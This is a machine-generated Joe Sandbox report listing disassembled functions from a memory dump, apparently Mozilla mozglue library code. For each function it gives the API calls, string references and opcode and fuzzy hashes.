Instruction ID: 086e8610c070716b1e8e7c55da23f10d248c35718bc2665680ff856b57f457e9
Opcode Fuzzy Hash: 0097c4685848138a9d51302307fcf65642338453439e7f9354264e2945784412
Instruction Fuzzy Hash: 7F41F4B1A006059FCB08CF68D8819BE7379BF85328B34062DE916DB794EB71E905C7E1

Function 6CF0B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CF0B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CF0B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CF0B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CF0B5F4
__Init_thread_footer.LIBCMT ref: 6CF0B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CF0B61F
std::_Facet_Register.LIBCPMT ref: 6CF0B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0B655

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7323b99d37f14244513f213780e91a5344907f0d59dc821430f545627563f926
Instruction ID: 4f162f51962f91638c00b119757437dcb21283447b021ee27e6546e9633fd26a
Opcode Fuzzy Hash: 7323b99d37f14244513f213780e91a5344907f0d59dc821430f545627563f926
Instruction Fuzzy Hash: 8231C6B1F10104CBCB44DB69C859BBEB7B5EF89324F160959D91697B40DB30A806CB91

Function 6CECD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CE9EB57,?,?,?,?,?,?,?,?,?), ref: 6CECD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CE9EB57,?), ref: 6CECD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE9EB57,?), ref: 6CECD673
free.MOZGLUE(?), ref: 6CECD888

Strings

Wl, xrefs: 6CECD5D9, 6CECD63F
|Enabled, xrefs: 6CECD81E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wl$|Enabled
API String ID: 4142949111-4149612105
Opcode ID: edc2ac547dd189ff5f0f9287bb324adc4a27e91c61cdb2d662012cf1cb1f08c4
Instruction ID: 616a4ff4868955545043cc43708bc5dbc494f29bf34c0f560c7984a3ed4cb509
Opcode Fuzzy Hash: edc2ac547dd189ff5f0f9287bb324adc4a27e91c61cdb2d662012cf1cb1f08c4
Instruction Fuzzy Hash: 53A10575B043448FDB11CF68C5D07AEBBF1AF49318F24805CD8A9ABB41D736A945CBA2

Function 6CEAB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CEECC83,?,?,?,?,?,?,?,?,?,6CEEBCAE,?,?,6CEDDC2C), ref: 6CEAB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CEECC83,?,?,?,?,?,?,?,?,?,6CEEBCAE,?,?,6CEDDC2C), ref: 6CEAB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CEECC83,?,?,?,?,?,?,?,?,?,6CEEBCAE), ref: 6CEAB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CEECC83,?,?,?,?,?,?,?,?,?,6CEEBCAE,?,?,6CEDDC2C), ref: 6CEAB896

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: f248c854b8a7272a4d2483b240fca67b3257e129bd3adf3fd09a5c66999067fe
Instruction ID: d23f803c36c367d79e41005ed85e3f5dc481db11b755f1c93bf3e6f06b33d415
Opcode Fuzzy Hash: f248c854b8a7272a4d2483b240fca67b3257e129bd3adf3fd09a5c66999067fe
Instruction Fuzzy Hash: 60517D75B106048FDB18CF9DC494A6ABBF5FF89318B69895DE9868B741C735E802CB80

Function 6CEE1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEE1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CEE1BE3,?,?,6CEE1D96,00000000), ref: 6CEE1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CEE1BE3,?,?,6CEE1D96,00000000), ref: 6CEE1D4C
GetCurrentThreadId.KERNEL32 ref: 6CEE1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEE1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEE1DDA

Part of subcall function 6CEE1EF0: GetCurrentThreadId.KERNEL32 ref: 6CEE1F03
Part of subcall function 6CEE1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CEE1DF2,00000000,00000000), ref: 6CEE1F0C
Part of subcall function 6CEE1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CEE1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CEE1DF4

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 95f8c4e6923505e59213807bf415422c6387b400fe542c0dce5aa678b4111e5d
Instruction ID: 5b31d39d95c6b7bda1ba064e8a3cd529fbbcb8146c369d99577018a861b58e9a
Opcode Fuzzy Hash: 95f8c4e6923505e59213807bf415422c6387b400fe542c0dce5aa678b4111e5d
Instruction Fuzzy Hash: DE4188B5610700DFCB54CF68C489B96BBF9FB89358F20442EE95A87B42CB71E854CB91

Function 6CEA38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CF1E220,?,?,?,?,6CEA3899,?), ref: 6CEA38B2
ReleaseSRWLockExclusive.KERNEL32(6CF1E220,?,?,?,6CEA3899,?), ref: 6CEA38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CEA3899,?), ref: 6CEA38F1
RtlFreeHeap.NTDLL ref: 6CEA3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CEA3899,?), ref: 6CEA392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CEA3899,?), ref: 6CEA3943
RtlFreeHeap.NTDLL ref: 6CEA396E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 6ab75d1fbd8e87bb3d0a7fed2726fce3d8f0dd5606607677722eb171a5489f53
Instruction ID: f4257d8bddcf66e7ed0d17f24ee80534ec5d32baa34c86b7319d3c95032d469e
Opcode Fuzzy Hash: 6ab75d1fbd8e87bb3d0a7fed2726fce3d8f0dd5606607677722eb171a5489f53
Instruction Fuzzy Hash: 74210272A00610DFE720DF55C880B86F7F9EF45728F26842AE95A9BB51C734F846CB91

Function 6CED84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED85AC

Part of subcall function 6CED7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CED85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED767F
Part of subcall function 6CED7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CED85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED7693
Part of subcall function 6CED7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CED85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CED85B2

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 0e204b514b82c7d5b11ee27daed5b915a0a59b9c9b8a014e691def5b64a40ab4
Instruction ID: 675e3c7487c1249bfc26d17718dde3896faeb7ec3a1c99dccbccac28d86c0ccf
Opcode Fuzzy Hash: 0e204b514b82c7d5b11ee27daed5b915a0a59b9c9b8a014e691def5b64a40ab4
Instruction Fuzzy Hash: C721B0756106019FDB24DB28C888B6AB7B5BF8430DF25082DE55BC3B41DB31F949CB91

Function 6CEA1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CEA1699
VerSetConditionMask.NTDLL ref: 6CEA16CB
VerSetConditionMask.NTDLL ref: 6CEA16D7
VerSetConditionMask.NTDLL ref: 6CEA16DE
VerSetConditionMask.NTDLL ref: 6CEA16E5
VerSetConditionMask.NTDLL ref: 6CEA16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CEA16F9

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f7911d2cf5853a140a04c27070d6ab183833297fead541a520349ddf19c7b20
Instruction ID: cca2fdfc3720e92d930bb31b9b8227bd1a0ad1dffdfcd9d7efae1e288115d512
Opcode Fuzzy Hash: 8f7911d2cf5853a140a04c27070d6ab183833297fead541a520349ddf19c7b20
Instruction Fuzzy Hash: EC21A5B0B40308AFEB115BA88C4AFBBB37CEFC6704F054528F645DBA90C6759D5587A1

Function 6CEDF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CEDF598), ref: 6CEDF621

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

GetCurrentThreadId.KERNEL32 ref: 6CEDF637
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8,?,?,00000000,?,6CEDF598), ref: 6CEDF645
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8,?,?,00000000,?,6CEDF598), ref: 6CEDF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CEDF62A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: f6187cc762a1d1cebde333ce50e3e02f6b1ceeec2256c2bd3f2cfd3ad98890b4
Instruction ID: 6abd90405323a409bc85c900a4d3a34f8160927d662ef214c99cff88e005d359
Opcode Fuzzy Hash: f6187cc762a1d1cebde333ce50e3e02f6b1ceeec2256c2bd3f2cfd3ad98890b4
Instruction Fuzzy Hash: A211E771724205EBCA84EF59C945BD57779FB8636DB220419EA0583F01CB76BC22CBA0

Function 6CEA2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

LoadLibraryW.KERNEL32(combase.dll,6CEA1C5F), ref: 6CEA20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CEA20CD
__Init_thread_footer.LIBCMT ref: 6CEA20E1
FreeLibrary.KERNEL32 ref: 6CEA2124

Strings

combase.dll, xrefs: 6CEA20A9
CoInitializeSecurity, xrefs: 6CEA20C7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: cf316c7ee7f1fcf2cd1e11fdd5095bbafa7082c94e37ef2a7bfa84e52ebcdcc0
Instruction ID: 5abee4b111543955ed13083c08b1e4da71763cfe8b2bcd3ef8a4f200ae71cf74
Opcode Fuzzy Hash: cf316c7ee7f1fcf2cd1e11fdd5095bbafa7082c94e37ef2a7bfa84e52ebcdcc0
Instruction Fuzzy Hash: 99219076610109EFDF80CF96CD49E8A3B76FB1A318F114018FA0896B10D3319862DF50

Function 6CEF76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CEF76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CEF7705

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEF7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CEF778F,00000000,00000000,00000000,00000000), ref: 6CEF7731
free.MOZGLUE(00000000), ref: 6CEF7760

Strings

}>l, xrefs: 6CEF76C4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>l
API String ID: 2538299546-1293855902
Opcode ID: a5be239e9b44c648fced716e3d3ca74e2f1b9f3cdd85efe5b4bf129f9f17d4e7
Instruction ID: a1f46362739eac850ae258acca06c1c33097965269f76da27c605bb189df33be
Opcode Fuzzy Hash: a5be239e9b44c648fced716e3d3ca74e2f1b9f3cdd85efe5b4bf129f9f17d4e7
Instruction Fuzzy Hash: 5311B2B1E11315ABE710AFB68C44BABBEF8EF46354F144829F848A7740E771984087E2

Function 6CEA1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CEA1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CEA1FFD
__Init_thread_footer.LIBCMT ref: 6CEA2011
FreeLibrary.KERNEL32 ref: 6CEA2059

Strings

combase.dll, xrefs: 6CEA1FD9
CoCreateInstance, xrefs: 6CEA1FF7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8f45b2eb7e4dd8f97350d9d4d0ce9653a2a34d57865f1a7f54e773b0ecd808cc
Instruction ID: da616cb7b343d045ac76ed27eb89747764306f33f4d1dcca29e484faf0cb24c5
Opcode Fuzzy Hash: 8f45b2eb7e4dd8f97350d9d4d0ce9653a2a34d57865f1a7f54e773b0ecd808cc
Instruction Fuzzy Hash: 5511B1B4A10204EFDF90CF56C88EF863B79EB66319F224019F90896F40E7319801CF61

Function 6CEA0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CECD9F0,00000000), ref: 6CEA0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CEA0F3C
__Init_thread_footer.LIBCMT ref: 6CEA0F50
FreeLibrary.KERNEL32(?,6CECD9F0,00000000), ref: 6CEA0F86

Strings

combase.dll, xrefs: 6CEA0F18
CoInitializeEx, xrefs: 6CEA0F36

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 86f5e7d44f463d6a074c78ff1fdc2ea2f997cfb045c76bf591ba53e2292221e2
Instruction ID: e376224552702b5f523156f7fe484021cb7bb2d8ce2cb05c3972a518ce31a90b
Opcode Fuzzy Hash: 86f5e7d44f463d6a074c78ff1fdc2ea2f997cfb045c76bf591ba53e2292221e2
Instruction Fuzzy Hash: 32115E79B15240DFDFC0CF94CD1AB863B75AB4A329F21462DE906E6F40D731A806CB55

Function 6CEDF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF561

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

GetCurrentThreadId.KERNEL32 ref: 6CEDF577
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF585
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CEDF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CEDF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CEDF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CEDF499

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f23fbc9ab771a327c5fac7b45d23e0f47e6090a8f7e58f1bc96f692a0c7edd17
